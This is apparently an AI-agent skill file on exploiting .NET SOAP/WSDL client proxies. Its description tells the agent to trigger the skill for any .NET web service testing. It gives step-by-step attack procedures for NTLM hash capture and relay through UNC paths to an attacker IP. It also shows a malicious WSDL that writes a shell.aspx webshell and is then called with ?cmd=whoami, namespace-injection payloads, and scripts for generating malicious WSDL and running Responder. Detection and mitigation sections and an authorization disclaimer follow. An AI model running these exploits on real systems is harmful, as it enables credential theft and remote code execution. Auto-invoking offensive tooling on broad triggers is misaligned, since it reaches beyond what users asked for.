Hacktricks-skills dotnet-soap-wsdl-exploitation
Exploit .NET SOAP/WSDL client proxy vulnerabilities for NTLM relay, arbitrary file writes, and RCE. Use this skill whenever you need to test for SoapHttpClientProtocol abuse, WSDL import vulnerabilities, or HttpWebClientProtocol scheme-agnostic bugs in .NET applications. Trigger this skill for any .NET web service testing, SOAP endpoint analysis, WSDL import functionality, or when investigating Barracuda, Ivanti, Umbraco, PowerShell, or SSIS SOAP-related vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation/SKILL.MD.NET SOAP/WSDL Client Proxy Exploitation
A skill for identifying and exploiting .NET SOAP client proxy vulnerabilities that arise from
HttpWebClientProtocol's scheme-agnostic behavior.
Vulnerability Overview
The core issue:
HttpWebClientProtocol.GetWebRequest() returns whatever WebRequest.Create() produces without enforcing HTTP-only handlers. This means:
→http(s)://
(expected)HttpWebRequest
orfile:///
→\\host\\share\\
(arbitrary file write)FileWebRequest
→ftp://
(FTP operations)FtpWebRequest- UNC paths → SMB/NTLM authentication (hash capture)
When combined with
ServiceDescriptionImporter (WSDL import), attackers can control the proxy's Url property and method signatures, enabling pre-authentication RCE.
When to Use This Skill
Use this skill when:
- Testing .NET applications with SOAP web service functionality
- Investigating WSDL import features in products
- Hunting for
,SoapHttpClientProtocol
, orHttpWebClientProtocol
usageServiceDescriptionImporter - Analyzing Barracuda Service Center, Ivanti EPM, Umbraco 8, PowerShell
, or SSIS vulnerabilitiesNew-WebServiceProxy - Needing to craft malicious WSDL files for penetration testing
- Testing for NTLM relay vulnerabilities via SOAP endpoints
Testing Workflow
Step 1: Identify SOAP Client Usage
Search for vulnerable patterns in the target application:
# Static analysis - grep for vulnerable classes grep -r "SoapHttpClientProtocol" /path/to/app/ grep -r "ServiceDescriptionImporter" /path/to/app/ grep -r "New-WebServiceProxy" /path/to/app/ grep -r "HttpWebClientProtocol" /path/to/app/ # PowerShell-specific Get-Command New-WebServiceProxy -ErrorAction SilentlyContinue
Step 2: Map User-Controllable Inputs
Identify where
Url or WSDL inputs can be controlled:
- Configuration files (app.config, web.config)
- Database rows (stored WSDL URLs, endpoint configurations)
- API parameters (WSDL import endpoints)
- UI forms ("Add Web Service" features)
Step 3: Test Primitive 1 - NTLM Capture
If you can control the
Url property:
- Set
to a UNC path:Urlfile://<attacker-IP>/sink/payload - Trigger the SOAP call
- Capture NTLM challenge/response with Responder or similar
- Attempt offline cracking or NTLM relay
Detection: Monitor for SMB connections from the web server to your infrastructure.
Step 4: Test Primitive 2 - Arbitrary File Write
If you can control the
Url property:
- Set
to a writable path:Urlfile:///inetpub/wwwroot/poc.aspx - Invoke any SOAP method
- The SOAP envelope is written to the target path
- Check for the error:
Client found response content type of 'application/octet-stream', but expected 'text/xml'
IOC: This error message after a SOAP call indicates successful file write.
Step 5: Weaponize WSDL Import
If the application imports WSDL files:
-
Host a malicious WSDL with:
pointing tosoap:address
or UNC pathfile:///- Custom complex types for payload serialization
- Namespace injection for script drops
-
Trigger the import/compilation
-
Invoke the generated method to write the payload
-
Execute the dropped file (webshell, script, etc.)
Exploitation Primitives
Primitive A: UNC Path NTLM Leak
// Vulnerable code pattern var proxy = new MySoapClient(); proxy.Url = userControlledUrl; // "file://attacker.local/share/payload" proxy.SomeMethod(); // Triggers SMB authentication
Exploitation:
- Set up Responder:
Responder -I <interface> -w - Point
toUrlfile://<your-IP>/share/payload - Trigger the call
- Capture NTLM hashes
Primitive B: File Write via file://
// Vulnerable code pattern var proxy = new MySoapClient(); proxy.Url = "file:///inetpub/wwwroot/shell.aspx"; proxy.SomeMethod("<payload>"); // Writes SOAP envelope to shell.aspx
Exploitation:
- Set
to writable path in webrootUrl - Craft SOAP method with payload in arguments
- Trigger the call
- Access the written file:
http://target/shell.aspx?cmd=whoami
Primitive C: WSDL-Based RCE
Use the
generate-malicious-wsdl.sh script to create a WSDL that:
- Sets
to a file pathsoap:address - Defines complex types that serialize to executable code
- Injects namespaces with encoded payloads
WSDL Crafting Guide
Basic Malicious WSDL Structure
<?xml version="1.0" encoding="utf-8"?> <wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:tns="http://example.com/service"> <wsdl:types> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <xsd:element name="ExecuteCommand"> <xsd:complexType> <xsd:sequence> <xsd:element name="Command" type="xsd:string"/> <xsd:element name="Output" type="xsd:string"/> </xsd:sequence> </xsd:complexType> </xsd:element> </xsd:schema> </wsdl:types> <wsdl:message name="ExecuteCommandRequest"> <wsdl:part name="parameters" element="tns:ExecuteCommand"/> </wsdl:message> <wsdl:portType name="MyService"> <wsdl:operation name="ExecuteCommand"> <wsdl:input message="tns:ExecuteCommandRequest"/> </wsdl:operation> </wsdl:portType> <wsdl:binding name="MyServiceSoap" type="tns:MyService"> <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/> <wsdl:operation name="ExecuteCommand"> <soap:operation soapAction="http://example.com/service/ExecuteCommand"/> <wsdl:input> <soap:body use="literal"/> </wsdl:input> </wsdl:operation> </wsdl:binding> <wsdl:service name="MyService"> <wsdl:port name="MyServiceSoap" binding="tns:MyServiceSoap"> <!-- CRITICAL: This becomes the proxy's Url property --> <soap:address location="file:///inetpub/wwwroot/shell.aspx"/> </wsdl:port> </wsdl:service> </wsdl:definitions>
Advanced: Namespace Injection for Script Drops
When you can't control method arguments, inject payloads via namespace URIs:
<wsdl:definitions xmlns:tns="http://example.com/service?x=@{cmd='whoami'}"> <!-- The namespace URI is copied verbatim into SOAP messages --> <!-- Can encode CSHTML Razor, PowerShell, or other payloads --> </wsdl:definitions>
Advanced: Complex Type Serialization
Define custom types that serialize to executable code:
<xsd:complexType name="ScriptBlock"> <xsd:sequence> <xsd:element name="script" type="xsd:string"/> </xsd:sequence> <xsd:attribute name="runat" type="xsd:string"/> </xsd:complexType>
When serialized, this produces:
<script runat="server">// payload</script>
Detection and Hunting
Static Analysis Indicators
# Search for vulnerable patterns grep -r "ServiceDescriptionImporter" /path/to/code/ grep -r "SoapHttpClientProtocol" /path/to/code/ grep -r "New-WebServiceProxy" /path/to/code/ # Check for user-controlled WSDL imports grep -r "ServiceDescription.Read" /path/to/code/ | grep -v "http://"
Runtime Monitoring
- Log proxy creation: Instrument code to log
schemesUrl - Alert on non-HTTP schemes:
,file
, UNC pathsftp - Monitor for characteristic errors:
Client found response content type of 'application/octet-stream' - Watch for unexpected file writes:
,.aspx
,.cshtml
in web directories.ps1 - Network monitoring: SMB connections from web servers to external hosts
PowerShell-Specific Detection
# Monitor for New-WebServiceProxy usage Get-EventLog -LogName Application -Source "PowerShell" | Select-String "New-WebServiceProxy" # Check for suspicious proxy objects Get-Process | Where-Object {$_.Modules.ModuleName -like "*Soap*"}
Mitigations
1. Enforce Transport Validation
// Before invoking any SOAP proxy var uri = new Uri(proxy.Url); if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps) { throw new InvalidOperationException( "SOAP clients must use HTTP or HTTPS only" ); }
2. Sanitize Imported WSDL
// Proxy WSDL downloads through a validation layer public static string SanitizeWSDL(string wsdlUrl, string wsdlContent) { // Reject non-HTTP/S addresses var doc = new XmlDocument(); doc.LoadXml(wsdlContent); var nsManager = new XmlNamespaceManager(doc.NameTable); nsManager.AddNamespace("soap", "http://schemas.xmlsoap.org/wsdl/soap/"); var addresses = doc.SelectNodes("//soap:address", nsManager); foreach (XmlNode address in addresses) { var location = address.GetAttribute("location"); var uri = new Uri(location); if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps) { throw new SecurityException("Invalid WSDL address scheme"); } } return wsdlContent; }
3. Disable Untrusted WSDL Features
- Replace "upload WSDL" features with vetted templates
- Use allowlists for WSDL sources
- Implement server-side proxy generation instead of client-side
4. Segregate Write Locations
- App pools cannot write to executable directories
- Separate volumes for data vs. code
- Use read-only webroot where possible
5. Harden NTLM Exposure
- Disable outbound SMB from web servers
- Enforce SMB signing
- Implement EPA (Extended Protection for Authentication)
- Use Kerberos where possible
Known Vulnerable Products
- Barracuda Service Center RMM (CVE-2025-34392)
- Ivanti EPM (various SOAP connector vulnerabilities)
- Umbraco 8 (Forms datasource WSDL import)
- PowerShell (
with untrusted WSDL)New-WebServiceProxy - SSIS (SOAP task configurations)
References
- watchTowr Labs – SOAPwn: Pwning .NET Framework Applications
- Microsoft Docs – ServiceDescriptionImporter
- Microsoft Docs – SoapHttpClientProtocol
Quick Start Scripts
Use the bundled scripts for rapid testing:
# Generate a malicious WSDL template ./scripts/generate-malicious-wsdl.sh \ --output malicious.wsdl \ --target-path "/inetpub/wwwroot/shell.aspx" \ --method-name "ExecuteCommand" # Test for file write primitive ./scripts/test-file-write.sh \ --wsdl malicious.wsdl \ --target http://target-app/ImportWSDL \ --verify-path "/inetpub/wwwroot/shell.aspx" # Set up NTLM capture listener ./scripts/setup-ntlm-capture.sh --interface eth0
Safety and Ethics
This skill is for authorized penetration testing and security research only. Always:
- Obtain written authorization before testing
- Test in isolated environments when possible
- Document all findings and remediation steps
- Follow responsible disclosure practices
- Never use these techniques against systems you don't own or have explicit permission to test